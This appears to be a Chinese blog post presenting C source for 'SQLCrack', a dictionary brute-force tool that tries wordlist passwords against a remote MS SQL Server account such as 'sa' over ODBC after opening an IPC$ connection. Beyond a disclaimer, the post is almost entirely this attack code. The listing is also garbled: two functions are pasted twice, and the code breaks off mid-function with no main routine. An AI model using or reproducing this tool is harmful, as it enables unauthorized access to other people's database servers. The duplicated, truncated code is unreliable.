看看黑客如何破解MS SQL SERCVER密码

    技术2022-05-11  68

    【此程序只作技术交流之用,如用于不法用途,作者不负任何责任!! 】

    这篇文章的重点是如何探测MS SQL SERVER账号的密码,下面以一个实例来说明探测密码的全过程。

      //程序所用到的头文件  //定义全局变量  char dict[20000][40],//准备探测的密码  UserName[40],//用户名  target[40],//目标服务器  passwd[40];//已经探测出来的正确密码  int total=0;//字典里面单词数量  BOOL Cracked=FALSE;//探测密码成功时此值为TRUE  //  //函数:usage  //功能:显示程序帮助信息  //  void usage()  {  printf("/nPower by analyzer〈[email]inmiao@163.com[/email]〉"  "/nhttp://www.infocn.com"  "/nUsage:SQLCrack 〈ip〉 〈UserName〉 〈dict〉 〈SleepTime[20-1000]〉"  "/nExample:SQLCrack 192.168.0.1 sa c:/pwd.dic 50/n");return;   }  //  //函数:ReadDic  //功能:从字典文件里面读取数据,传递给全局变量dict,准备探测密码  //说明:函数运行失败返回值1,成功返回0  //  int ReadDic(char *dic)  {  FILE *fp;  char tmp[40];  //打开字典文件  if((fp=fopen(dic,"r"))==NULL)  {  printf("/nCan't open %s",dic);  return 1;  }  while(!feof(fp))  {  //读取数据到临时变量  if(fgets(tmp,40,fp)==NULL)  break;  //这里别忘了把从文件里面读出来的最后一位数据[换行符号]去掉,不然就探测不出来密码了  strncpy(dict[total],tmp,strlen(tmp)-1);  total++; //因为dict定义为dict[20000][40],所以这里如果字典里面的单词超出20000就退出循环  //不然就会溢出啦.可以自行调准  if(total〉=20000)  break;  }  fclose(fp);  return 0;  }  //  //函数:ConnIPC  //功能:建立IPC连接  //说明:连接失败返回值1,成功返回值0  //  int ConnIPC(char *RemoteName)  {  NETRESOURCE nr;  DWORD flags=CONNECT_UPDATE_PROFILE;  TCHAR RN[30]="",  LN[5]="";  strcat(RN,RemoteName);  strcat(RN,"/ipc$");  //填充数据结构  nr.dwType=RESOURCETYPE_DISK;  nr.lpLocalName=(LPTSTR)&LN;  nr.lpRemoteName=(LPTSTR)&RN;  nr.lpProvider=NULL;  if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR)  { return 0;   }  else  {  return 1;  }  }  //  //函数:DelIPC  //功能:断开IPC Session  //说明:成功返回值0,否则返回1  //  int DelIPC(char *RemoteName)  {  DWORD ret;  TCHAR lpName[30]="";  strcat(lpName,RemoteName);  strcat(lpName,"/ipc$");  ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE);  if(ret==NO_ERROR)  {  return 0;  }  else  {  return 1;  }  }  //  //函数SQLCheck  //功能:尝试用不同密码连接SQL Server,探测出正确的密码  //  DWORD WINAPI SQLCheck(PVOID pPwd)  {  //定义局部变量  char szBuffer[1025];  char *pwd;  SWORD swStrLen;  SQLHDBC hdbc;  SQLHANDLE henv;  SQLRETURN retcode;//ODBC API运行返回值SCHAR ConnStr[200];//连接数据库字符串   //取得传递过来准备探测的密码  pwd=(char *)pPwd;  //构造连接数据库字符  strcpy(ConnStr,"DRIVER={SQL Server};SERVER=");  strcat(ConnStr,target);  strcat(ConnStr,";UID=");  strcat(ConnStr,UserName);  strcat(ConnStr,";PWD=");  strcat(ConnStr,pwd);  strcat(ConnStr,";DATABASE=master");  //puts(ConnStr);  //创建数据库应用的环境句柄  if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS)  {  printf("/nAllocate environment handle failed./n");  return 0;  }  //printf("henv..");  //设置ODBC版本环境  if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)  SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)  {  printf("/nSet the ODBC version environment attribute failed./n");  SQLFreeHandle(SQL_HANDLE_ENV, henv);  return 0;  }  //printf("ODBC ver..");  //创建连接句柄  if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR  *)&hdbc)) != SQL_SUCCESS)  {  printf("/nAllocate connection handle failed./n");  SQLFreeHandle(SQL_HANDLE_ENV, henv);  return 0;  }  //printf("hdbc..");  //连接数据源  retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),szBuffer,sizeof(szBuffer),&swStrLen,   SQL_DRIVER_COMPLETE_REQUIRED);  //printf("conn..");  if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO)  {  //连接失败,函数终止  //printf("/nCouldn't connect to %s MSSQL server./n",target);  SQLFreeHandle(SQL_HANDLE_DBC, hdbc);  SQLFreeHandle(SQL_HANDLE_ENV, henv);  return 0;  }  //连接远程MSSQL Server数据库成功  Cracked=TRUE;  strcpy(passwd,pwd);  //puts(szBuffer);  //显示连接远程数据库的字符串  //断开连接  SQLDisconnect(hdbc);  //printf("disconn..");  //释放连接句柄  SQLFreeHandle(SQL_HANDLE_DBC, hdbc);  //printf("free hdbc..");  //释放环境句柄  SQLFreeHandle(SQL_HANDLE_ENV, henv);  //printf("free henv../n");  return 0;  }  //  //函数:DelIPC  //功能:断开IPC Session  //说明:成功返回值0,否则返回1  //  int DelIPC(char *RemoteName)  {  DWORD ret;  TCHAR lpName[30]="";  strcat(lpName,RemoteName);  strcat(lpName,"/ipc$");ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE);   if(ret==NO_ERROR)  {  return 0;  }  else  {  return 1;  }  }  //  //函数SQLCheck  //功能:尝试用不同密码连接SQL Server,探测出正确的密码  //  DWORD WINAPI SQLCheck(PVOID pPwd)  {  //定义局部变量  char szBuffer[1025];  char *pwd;  SWORD swStrLen;  SQLHDBC hdbc;  SQLHANDLE henv;  SQLRETURN retcode;//ODBC API运行返回值  SCHAR ConnStr[200];//连接数据库字符串  //取得传递过来准备探测的密码  pwd=(char *)pPwd;  //构造连接数据库字符  strcpy(ConnStr,"DRIVER={SQL Server};SERVER=");  strcat(ConnStr,target);  strcat(ConnStr,";UID=");  strcat(ConnStr,UserName);  strcat(ConnStr,";PWD=");  strcat(ConnStr,pwd);  strcat(ConnStr,";DATABASE=master");  //puts(ConnStr);  //创建数据库应用的环境句柄  if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS){   printf("/nAllocate environment handle failed./n");  return 0;  }  //printf("henv..");  //设置ODBC版本环境  if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)  SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)  {  printf("/nSet the ODBC version environment attribute failed./n");  SQLFreeHandle(SQL_HANDLE_ENV, henv);  return 0;  }  //printf("ODBC ver..");  //创建连接句柄  if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR  *)&hdbc)) != SQL_SUCCESS)  {  printf("/nAllocate connection handle failed./n");  SQLFreeHandle(SQL_HANDLE_ENV, henv);  return 0;  }  //printf("hdbc..");  //连接数据源  retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),  szBuffer,sizeof(szBuffer),& 


    最新回复(0)